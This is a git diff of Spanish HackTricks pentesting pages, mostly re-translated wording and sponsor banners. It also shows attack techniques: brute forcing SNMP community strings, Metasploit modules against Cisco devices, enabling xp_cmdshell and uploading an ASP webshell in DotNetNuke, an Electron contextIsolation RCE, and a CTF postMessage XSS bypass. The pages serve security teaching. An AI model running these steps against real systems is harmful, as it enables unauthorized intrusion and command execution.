- -Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! - -Otras formas de apoyar a HackTricks: - -* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). - -
+* [https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/](https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/) diff --git a/network-services-pentesting/pentesting-snmp/cisco-snmp.md b/network-services-pentesting/pentesting-snmp/cisco-snmp.md index b98466a03..c7d11b2b2 100644 --- a/network-services-pentesting/pentesting-snmp/cisco-snmp.md +++ b/network-services-pentesting/pentesting-snmp/cisco-snmp.md @@ -4,10 +4,10 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? o ¿quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos -* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. @@ -16,30 +16,30 @@ SNMP es un protocolo utilizado para monitorear el estado de dispositivos en una red informática. Opera en el protocolo de capa de transporte UDP con los números de puerto 161/UDP y 162/UDP. -SNMP utiliza cadenas de comunidad, que actúan como contraseñas para la comunicación entre agentes SNMP y servidores. Estas cadenas de comunidad otorgan permisos **solo de lectura (RO) o de lectura-escritura (RW)**. Los pentesters pueden explotar SNMP **fuerza bruta en las cadenas de comunidad** para obtener acceso al equipo de red. +SNMP emplea cadenas de comunidad, que actúan como contraseñas para la comunicación entre agentes SNMP y servidores. Estas cadenas de comunidad otorgan permisos de **solo lectura (RO) o lectura-escritura (RW)**. Los pentesters pueden explotar SNMP mediante **fuerza bruta en las cadenas de comunidad** para obtener acceso al equipamiento de red. -Para realizar un ataque de fuerza bruta en cadenas de comunidad es posible usar **[onesixtyone](https://github.com/trailofbits/onesixtyone)**. Esta herramienta requiere un diccionario para la fuerza bruta y las direcciones IP de los hosts objetivo: +Para realizar un ataque de fuerza bruta en las cadenas de comunidad, es posible utilizar **[onesixtyone](https://github.com/trailofbits/onesixtyone)**. Esta herramienta requiere un diccionario para la fuerza bruta y las direcciones IP de los hosts objetivo: ```bash onesixtyone -c communitystrings -i targets ``` -Si se **descubren las cadenas de comunidad**, se hace posible una mayor explotación. +Si se descubren las **cadenas de comunidad**, se vuelve posible una mayor explotación. ### `cisco_config_tftp` -Usando el módulo `cisco_config_tftp` en el framework Metasploit, se puede extraer la **configuración del dispositivo** conociendo el valor de la cadena de comunidad. Se requiere la cadena de comunidad con **permisos de lectura-escritura (RW)**. +Utilizando el módulo `cisco_config_tftp` en el framework Metasploit, la **configuración del dispositivo** puede ser extraída al conocer el valor de la cadena de comunidad. Se requiere la cadena de comunidad con permisos de lectura-escritura (RW). -Se necesitan los siguientes parámetros: +Los siguientes parámetros son necesarios: - Cadena de comunidad RW (COMMUNITY) - Dirección IP del atacante (LHOST) - Dirección IP del equipo objetivo (RHOSTS) - Ruta para el directorio de salida de la configuración del dispositivo (OUTPUTDIR) -Después de configurar el módulo, se puede iniciar el exploit. La configuración del host con la dirección IP especificada se descargará en la carpeta designada. +Después de configurar el módulo, se puede iniciar la explotación. La configuración del host con la dirección IP especificada se descargará en la carpeta designada. ### `snmp_enum` -El módulo **`snmp_enum` en el framework Metasploit permite la recuperación de información sobre el hardware objetivo**. Similar al módulo anterior, se requiere el parámetro COMMUNITY (incluso una cadena con permisos de solo lectura) y la dirección IP del dispositivo objetivo: +El módulo **`snmp_enum` en el framework Metasploit permite la obtención de información sobre el hardware objetivo**. Similar al módulo anterior, se requiere el parámetro COMMUNITY (incluso una cadena con permisos de solo lectura) y la dirección IP del dispositivo objetivo: ```bash msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10 @@ -53,10 +53,10 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? o ¿quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos -* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. +* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Comparte tus trucos de hacking enviando PRs al [repositorio hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. diff --git a/network-services-pentesting/pentesting-web/buckets/firebase-database.md b/network-services-pentesting/pentesting-web/buckets/firebase-database.md index 097d371be..a221b66b4 100644 --- a/network-services-pentesting/pentesting-web/buckets/firebase-database.md +++ b/network-services-pentesting/pentesting-web/buckets/firebase-database.md @@ -1,20 +1,20 @@ -# Base de datos Firebase +# Base de Datos Firebase
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos. -* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com). -* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live). -* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. +* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-## ¿Qué es Firebase? +## ¿Qué es Firebase -Firebase es un Backend-as-a-Services principalmente para aplicaciones móviles. Se centra en eliminar la carga de programar el back-end proporcionando un SDK agradable y muchas otras cosas interesantes que facilitan la interacción entre la aplicación y el back-end. +Firebase es un Backend-as-a-Services principalmente para aplicaciones móviles. Se enfoca en eliminar la carga de programar el backend proporcionando un SDK agradable, así como muchas otras cosas interesantes que facilitan la interacción entre la aplicación y el backend. Aprende más sobre Firebase en: @@ -25,9 +25,9 @@ Aprende más sobre Firebase en: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos. -* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com). -* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live). -* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. +* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. diff --git a/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md b/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md index 6a8d5aa05..393b49c21 100644 --- a/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md +++ b/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md @@ -4,57 +4,57 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Mira los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* Consigue la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. ## DotNetNuke (DNN) -Si entras como **administrador** en DNN es fácil obtener RCE. +Si ingresas como **administrador** en DNN es fácil obtener RCE. ## RCE -### A través de SQL +### Via SQL -Una consola SQL es accesible en la página **`Settings`** donde puedes habilitar **`xp_cmdshell`** y **ejecutar comandos del sistema operativo**. +Una consola SQL es accesible en la página de **`Configuración`** donde puedes habilitar **`xp_cmdshell`** y **ejecutar comandos del sistema operativo**. -Usa estas líneas para habilitar **`xp_cmdshell`**: +Utiliza estas líneas para habilitar **`xp_cmdshell`**: ```sql EXEC sp_configure 'show advanced options', '1' RECONFIGURE -EXEC sp_configure 'xp_cmdshell', '1' +EXEC sp_configure 'xp_cmdshell', '1' RECONFIGURE ``` -Y presione **"Ejecutar Script"** para ejecutar esas sentencias SQL. +Y presiona **"Ejecutar Script"** para ejecutar esas sentencias SQL. -Luego, use algo como lo siguiente para ejecutar comandos del sistema operativo: +Luego, utiliza algo similar a lo siguiente para ejecutar comandos del sistema operativo: ```sql xp_cmdshell 'whoami' ``` -### A través de una webshell ASP +### A través de ASP webshell -En `Configuración -> Seguridad -> Más -> Más opciones de seguridad` puedes **añadir nuevas extensiones permitidas** en `Extensiones de archivo permitidas`, y luego hacer clic en el botón `Guardar`. +En `Configuración -> Seguridad -> Más -> Configuraciones de seguridad adicionales` puedes **agregar nuevas extensiones permitidas** bajo `Extensiones de archivo permitidas`, y luego hacer clic en el botón `Guardar`. -Añade **`asp`** o **`aspx`** y luego en **`/admin/file-management`** sube una **webshell ASP** llamada `shell.asp`, por ejemplo. +Agrega **`asp`** o **`aspx`** y luego en **`/admin/file-management`** sube un **asp webshell** llamado `shell.asp` por ejemplo. Luego accede a **`/Portals/0/shell.asp`** para acceder a tu webshell. ### Escalada de privilegios -Puedes **escalar privilegios** usando **Potatoes** o **PrintSpoofer**, por ejemplo. +Puedes **escalar privilegios** usando **Potatoes** o **PrintSpoofer** por ejemplo.
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) -* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
diff --git a/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md b/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md index f9bda91a5..efd17e521 100644 --- a/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md +++ b/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md @@ -5,9 +5,9 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) -* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. @@ -16,7 +16,7 @@ Ejemplo de [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41) -El listener del evento "exit" siempre se establece mediante el código interno cuando se inicia la carga de la página. Este evento se emite justo antes de la navegación: +El listener del evento "exit" siempre es establecido por el código interno cuando se inicia la carga de la página. Este evento se emite justo antes de la navegación: ```javascript process.on('exit', function (){ for (let p in cachedArchives) { @@ -31,7 +31,7 @@ cachedArchives[p].destroy() https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/bin/events.js#L156-L231 -- Ya no existe -Luego continúa aquí: +Luego va aquí: ![](<../../../.gitbook/assets/image (647).png>) @@ -43,7 +43,7 @@ El objeto de proceso tiene una referencia a la función "require": ``` process.mainModule.require ``` -Como el handler.call va a recibir el objeto process, podemos sobrescribirlo para ejecutar código arbitrario: +Dado que handler.call va a recibir el objeto process, podemos sobrescribirlo para ejecutar código arbitrario: ```html + ```
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
diff --git a/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md b/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md index 7fe070751..e4538d0d2 100644 --- a/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md +++ b/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md @@ -1,32 +1,32 @@ -# Bypassing SOP con Iframes - 2 +# Bypassing SOP with Iframes - 2
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* Consigue la [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com) -* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
## Iframes en SOP-2 -En la [**solución**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution) para este [**desafío**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc), [**@Strellic\_**](https://twitter.com/Strellic\_) propone un método similar al de la sección anterior. Veámoslo. +En la [**solución**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution) para este [**desafío**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)**,** [**@Strellic\_**](https://twitter.com/Strellic\_) propone un método similar al de la sección anterior. Veámoslo. En este desafío, el atacante necesita **burlar** esto: ```javascript if (e.source == window.calc.contentWindow && e.data.token == window.token) { ``` -Si lo hace, puede enviar un **postmessage** con contenido HTML que se escribirá en la página con **`innerHTML`** sin saneamiento (**XSS**). +Si lo hace, puede enviar un **postmessage** con contenido HTML que se va a escribir en la página con **`innerHTML`** sin saneamiento (**XSS**). -La forma de pasar la **primera comprobación** es haciendo que **`window.calc.contentWindow`** sea **`undefined`** y **`e.source`** sea **`null`**: +La forma de evitar la **primera verificación** es haciendo que **`window.calc.contentWindow`** sea **`undefined`** y **`e.source`** sea **`null`**: -* **`window.calc.contentWindow`** es en realidad **`document.getElementById("calc")`**. Puede sobrescribir **`document.getElementById`** con **``** (tenga en cuenta que la API Sanitizer -[aquí](https://wicg.github.io/sanitizer-api/#dom-clobbering)- no está configurada para proteger contra ataques de sobrescritura de DOM en su estado predeterminado). - * Por lo tanto, puede sobrescribir **`document.getElementById("calc")`** con **`
`**. Entonces, **`window.calc`** será **`undefined`**. - * Ahora, necesitamos que **`e.source`** sea **`undefined`** o **`null`** (porque se usa `==` en lugar de `===`, **`null == undefined`** es **`True`**). Conseguir esto es "fácil". Si crea un **iframe** y **envía** un **postMessage** desde él e inmediatamente lo **elimina**, **`e.origin`** será **`null`**. Compruebe el siguiente código. +* **`window.calc.contentWindow`** es en realidad **`document.getElementById("calc")`**. Puedes sobrescribir **`document.getElementById`** con **``** (nota que la API de Sanitizer -[aquí](https://wicg.github.io/sanitizer-api/#dom-clobbering)- no está configurada para proteger contra ataques de clobbering de DOM en su estado predeterminado). +* Por lo tanto, puedes sobrescribir **`document.getElementById("calc")`** con **`
